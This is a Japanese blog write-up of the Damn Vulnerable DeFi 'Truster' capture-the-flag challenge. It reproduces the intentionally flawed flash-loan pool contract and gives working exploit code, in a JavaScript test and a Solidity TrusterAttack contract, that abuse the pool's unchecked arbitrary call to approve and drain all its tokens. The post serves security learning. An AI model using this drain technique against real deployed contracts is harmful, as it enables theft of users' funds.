moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi(三)- Truster

Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。開始する前に、Solidity および JavaScript の関連スキルが必要です。各問題に対して、単体テストがパスすることを確認する必要があります。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/3.html

問題の説明:

レンディングプールコントラクトがあり、DVT トークンのフラッシュローン機能を提供しています。このプールには 100 万個のトークンがありますが、あなたはまったく持っていません。あなたがする必要があるのは、1 つのトランザクションでこのレンディングプールのトークンをすべて取り出すことです。

まず、レンディングプールコントラクトのソースコードを見てみましょう。

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;
		
    // token instance
    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }
		
    // flash loan method
    // borrowAmount: amount to borrow
    // borrower: address of the borrower
    // target: address of the callback contract
    // data: calldata formed by the callback contract method and parameters
    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        // Get the balance of DVT token in this contract
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Transfer borrowAmount of DVT token to borrower address
        damnValuableToken.transfer(borrower, borrowAmount);
        // Call the callback method of the target
        target.functionCall(data);

        // Ensure that the loan has been paid back
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

このスマートコントラクトからわかるように、flashLoan メソッドを使用してすべてのトークンを取り出すことはできません。なぜなら、コントラクトの最後で残高がチェックされ、条件を満たさない場合はトランザクションがロールバックされるからです。

別のアプローチを考えてみましょう。もし、token コントラクトの transferFrom メソッドを呼び出すことができれば、次のようになります。

token.transForm(pool, attacker, account);

レンディングプールコントラクトの中には呼び出す場所がありませんが、flashLoanメソッドの内部にあるtarget.functionCall(data)という行のコードに注目します。この行の内部では、target.call(data)を使用して低レベルの呼び出しが行われています。

スマートコントラクト間の相互作用はすべて calldata を介して行われます。例えば、以下のような形式です:
0x6057361d000000000000000000000000000000000000000000000000000000000000000a
最初の 4 バイト(6057361d)は関数セレクタ(関数の識別子)であり、残りの部分は関数に渡される入力パラメータです。
コントラクト内部で calldata を構築するためには、abi.encodeWithSignature ("関数名 (... パラメータの型)", ...params) を使用できます。

したがって、この問題では、target は token コントラクトのアドレスであり、data は approve メソッドです。JavaScript では、次の方法で data を構築できます。

const abi = [
  'function approve(address, uint256) external'
]
const iface = new ethers.utils.Interface(abi)
const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

その後、flashLoan メソッドを呼び出し、対応するパラメータを渡すことができます。成功した場合、レンディングプールコントラクトの残高は attacker が操作できるようになります。以下はコードの例です。

it('Exploit', async function () {
  const abi = [
    'function approve(address, uint256) external'
  ]
  const iface = new ethers.utils.Interface(abi)
  const data = iface.encodeFunctionData('approve', [attacker.address, ethers.constants.MaxUint256])

  await this.pool.flashLoan(0, deployer.address, this.token.address, data)
  await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL)
})

yarn trusterを実行してテストを実行します。テストがパスすることを確認します。

しかし、問題では 1 つのトランザクションでの実行が要求されていますが、現在のコードでは要件を満たしていません。そのため、スマートコントラクトを使用してトランザクションを実行することができます。

TrusterAttack.sol

pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterAttack {
  TrusterLenderPool public pool;
  IERC20 public token;

  constructor(address _pool, address _token) {
    pool = TrusterLenderPool(_pool);
    token = IERC20(_token);
  }

  function attack(address borrower) external {
    address sender = msg.sender;
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
    pool.flashLoan(0, borrower, address(token), data);

    token.transferFrom(address(pool), sender, token.balanceOf(address(pool)));
  }
}

その後、テストケースでコントラクトをデプロイし、attack メソッドを実行します。

it('Exploit', async function () {
  const TrusterAttack = await ethers.getContractFactory('TrusterAttack', deployer)
  const trusterAttack = await TrusterAttack.deploy(this.pool.address, this.token.address)

  await trusterAttack.connect(attacker).attack(deployer.address)
})

yarn trusterを実行してテストを実行します。テストがパスすることを確認します。

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。